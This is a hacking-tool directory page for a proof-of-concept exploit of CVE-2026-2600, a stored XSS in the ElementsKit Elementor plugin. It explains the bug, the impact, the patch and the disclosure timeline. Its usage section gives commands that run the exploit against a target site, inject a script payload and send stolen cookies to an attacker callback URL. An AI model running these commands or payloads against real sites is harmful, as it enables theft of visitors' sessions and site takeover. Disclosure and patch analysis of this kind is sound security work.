Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/folks-iwd/cve-2026-2600-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubfolks-iwd/cve-2026-2600-poc

CVE-2026-2600-POC

Proof-of-concept exploit for CVE-2026-2600, a stored XSS in ElementsKit Elementor Addons <= 3.7.9, allowing authenticated Contributors to inject arbitrary scripts via crafted Elementor data.

View Repository
14 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-2600

ElementsKit Elementor Addons <= 3.7.9 — Authenticated (Contributor+) Stored Cross-Site Scripting

CVSS6.4 MEDIUM
Affected<= 3.7.9
Patched3.8.0
Min. roleContributor (edit_posts)
VectorNetwork / Low complexity / Low privileges

The bug

The Simple Tab widget renders tab titles with echod HTML but no output escaping. In widgets/tab/tab.php, the render loop does:

root@kitploit:~
foreach ( $settings['ekit_tab_items'] as $index => $item ) {
    echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
}

Elementor's editor sanitizes input on the client side, but the REST API endpoint (/wp-json/wp/v2/posts/{id}) accepts the _elementor_data meta field directly and bypasses that layer entirely.

An authenticated Contributor can PATCH a post with a crafted Elementor JSON payload that sets ekit_tab_title to arbitrary HTML. Because the value is stored verbatim in _elementor_data and echoed without esc_html() at render time, the script executes in every visitor's browser when the page loads.

Impact

Any Contributor can:

  • Steal session cookies and authentication tokens from all site visitors, including administrators
  • Hijack admin accounts and escalate to full site takeover
  • Deploy keyloggers or credential-harvesting overlays silently
  • Redirect visitors to phishing pages or malware distribution sites
  • Deface pages persistently — payload survives until manually removed

400K+ active installs were affected at disclosure time.

Usage

root@kitploit:~
pip install requests
python3 poc.py https://target.com contributor p4ss

The script authenticates over HTTP, fetches the REST nonce from the admin editor, creates a draft post, patches _elementor_data with the XSS payload embedded in the ekit_tab_title field, and publishes the post. Output confirms whether the payload is live in the page source.

root@kitploit:~
# Custom payload
python3 poc.py https://target.com contributor p4ss --payload '<script>alert(document.domain)</script>'

# Cookie exfiltration with callback
python3 poc.py https://target.com contributor p4ss --type cookie --callback https://attacker.com/steal

# Interactive console mode
python3 console_poc.py

Full writeup

https://folks-iwd.github.io/writeups/cve-2026-2600.html

Disclosure timeline

DateEvent
January 2026Discovered via SVN diff review. PoC confirmed.
January 2026Reported to Patchstack Alliance with full writeup and PoC.
March 2026Wpmet shipped the fix in v3.8.0.
April 2026CVE-2026-2600 published. CVSS 6.4 MEDIUM assigned.

The patch

Wpmet added esc_html() around the tab title output in widgets/tab/tab.php:

root@kitploit:~
- echo '<a ...>' . $item['ekit_tab_title'] . '</a>';
+ echo '<a ...>' . esc_html( $item['ekit_tab_title'] ) . '</a>';
Download Tool